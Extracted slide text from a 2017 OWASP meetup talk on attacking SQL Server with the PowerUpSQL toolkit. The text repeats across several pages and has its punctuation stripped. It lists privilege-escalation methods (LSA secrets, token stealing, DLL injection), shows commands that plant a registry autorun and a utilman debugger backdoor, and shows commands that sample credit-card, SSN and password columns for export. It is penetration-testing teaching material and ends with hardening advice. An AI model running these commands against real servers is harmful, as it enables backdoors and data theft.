1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 96: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 97: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 98: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 99: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
